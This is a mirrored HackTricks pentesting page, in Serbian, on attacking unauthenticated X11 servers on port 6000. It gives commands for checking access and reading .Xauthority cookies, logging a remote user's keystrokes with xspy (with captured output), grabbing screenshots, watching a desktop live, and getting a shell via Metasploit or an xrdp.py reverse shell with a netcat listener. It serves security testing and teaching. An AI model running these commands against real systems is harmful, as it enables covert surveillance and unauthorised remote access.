mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
192 lines
8.4 KiB
Markdown
192 lines
8.4 KiB
Markdown
# 6000 - Pentesting X11
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Uvidi u Hakovanje**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Vesti o Hakovanju u Realnom Vremenu**\
|
||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovije Obaveštenja**\
|
||
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
## Osnovne Informacije
|
||
|
||
**X Window System** (X) je svestrani sistem prozora koji je prisutan na operativnim sistemima zasnovanim na UNIX-u. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedini programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
|
||
|
||
**Podrazumevani port:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Enumeracija
|
||
|
||
Proverite **anonimnu vezu:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Lokalna enumeracija
|
||
|
||
Fajl **`.Xauthority`** u korisničkom folderu se **koristi** od strane **X11 za autorizaciju**. Sa [**ovde**](https://stackoverflow.com/a/37367518):
|
||
```bash
|
||
$ xxd ~/.Xauthority
|
||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||
00000030: 041d ef ...
|
||
```
|
||
> MIT-magic-cookie-1: Generisanje 128 bitnog ključa ("kolačića"), čuvanje u \~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru kao običan tekst! Server proverava da li ima kopiju ovog "kolačića" i ako je to slučaj, veza je dozvoljena. Ključ se generiše pomoću DMX.
|
||
|
||
{% hint style="warning" %}
|
||
Da biste **koristili kolačić**, treba postaviti env var: **`export XAUTHORITY=/putanja/do/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
#### Lokalna Sesija Nabrojavanja
|
||
```bash
|
||
$ w
|
||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||
```
|
||
U primeru, `localhost:0` je pokretao xfce4-session.
|
||
|
||
## Provera konekcije
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Keyloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za špijuniranje tastature.
|
||
|
||
Primer izlaza:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
## Snimanje ekrana
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
## Daljinski prikaz radne površine
|
||
|
||
Putanja: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
Putanja od: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
Prvo moramo pronaći ID prozora koristeći xwininfo
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
**XWatchwin**
|
||
|
||
Za **live viewing** moramo koristiti
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Dobijanje Shell-a
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
Drugi način:
|
||
|
||
**Obrnuti Shell:** Xrdp takođe omogućava dobijanje obrnutog shella putem Netcat-a. Unesite sledeću komandu:
|
||
```bash
|
||
./xrdp.py \<IP:0> –no-disp
|
||
```
|
||
U interfejsu možete videti **R-shell opciju**.
|
||
|
||
Zatim pokrenite **Netcat osluškivač** na vašem lokalnom sistemu na portu 5555.
|
||
```bash
|
||
nc -lvp 5555
|
||
```
|
||
Zatim, unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da biste dobili shell
|
||
|
||
## Reference
|
||
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
## Shodan
|
||
|
||
* `port:6000 x11`
|
||
|
||
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Hacking Insights**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Real-Time Hack News**\
|
||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Latest Announcements**\
|
||
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|